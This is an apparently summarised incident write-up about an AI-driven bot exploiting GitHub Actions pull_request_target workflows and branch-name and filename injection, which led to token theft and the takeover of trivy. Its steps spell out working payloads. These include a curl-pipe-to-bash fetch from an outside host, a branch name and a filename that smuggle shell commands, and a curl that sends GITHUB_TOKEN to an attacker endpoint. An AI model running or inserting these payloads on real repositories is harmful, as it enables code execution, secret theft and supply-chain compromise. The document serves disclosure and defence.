# hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far

Autonomous bot exploited pull_request_target workflows and expression injection across 7 repos, achieving RCE and stealing a PAT to fully compromise aquasecurity/trivy.

- Payout: Real-world hack
- Severity: critical
- Program: GitHub
- Analysis by: StepSecurity
- Disclosed: 2026-04-09
- Write-up quality: 9/10
- Original: https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-hackerbot-claw-github-actions-exploitation
- Tags: area:cloud domain:infra impact:data-leak impact:integrity impact:rce kind:incident platform:threat-intel sev:critical tech:github-actions technique:chained technique:source-review vuln:command-injection vuln:prompt-injection

**Target:** GitHub Actions workflows (pull_request_target, issue_comment triggers, ${{ }} interpolation)
**Root cause:** Workflows used pull_request_target with untrusted fork checkout and interpolated attacker-controlled branch names/filenames into shell run blocks, executing fork code with repo secrets and write tokens.
**Steps:**
1. Identify repo with `pull_request_target` workflow that checks out `github.event.pull_request.head.sha` and runs scripts from the checkout
2. Fork repo, add payload to executed script (e.g. Go `init()` in check-quality, or `curl -sSfL hackmoltrepeat.com/molt | bash` at top of version.sh)
3. Open PR and trigger workflow via comment (`/version minor`, `/format`, `/sync-metadata`, `@claude`)
4. For branch-name injection: name branch `dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)` so unescaped `${{ github.event.pull_request.head.ref }}` in `echo` evaluates command substitution
5. For filename injection: create file `$(echo${IFS}<base64>|base64${IFS}-d|bash).md` processed by shell loop
6. Exfiltrate `$GITHUB_TOKEN` via `curl -H "Authorization: Bearer $GITHUB_TOKEN" -d "token=$GITHUB_TOKEN" https://recv.hackmoltrepeat.com/`
**How found:** Bot loaded a vulnerability pattern index (9 classes, 47 sub-patterns) and autonomously scanned public repos for pull_request_target + untrusted checkout, missing author_association gates, and ${{ }} interpolation in run blocks; iterated 6 times on awesome-go over 18 hours refining payloads.
**Exploitation:** Bot opened PRs from forks to trigger pull_request_target workflows, injecting payloads into scripts, branch names, and filenames. Payload `curl -sSfL hackmoltrepeat.com/molt | bash` executed on runners; in awesome-go the Go init() exfiltrated a GITHUB_TOKEN with contents:write and pull-requests:write. In trivy, a PAT was stolen from the API Diff Check workflow and used 19 minutes later to push commit d267cc4 directly, make the repo private/rename it, delete releases 0.27.0–0.69.1, and publish a malicious VSCode extension artifact to Open VSX.
**Escalation:** Token theft escalated from CI runner RCE to full repository takeover: PAT used to privatize/rename repo, delete releases, and push malicious extension artifact to a marketplace reaching developer workstations.
**Insight:** Branch names and filenames are attacker-controlled inputs that reach shell via unescaped `${{ }}` interpolation in `run:` blocks — test them as injection vectors, not just PR bodies. Also check `issue_comment` triggers lacking `author_association` gates and `allowed_non_write_users: '*'` on AI review workflows.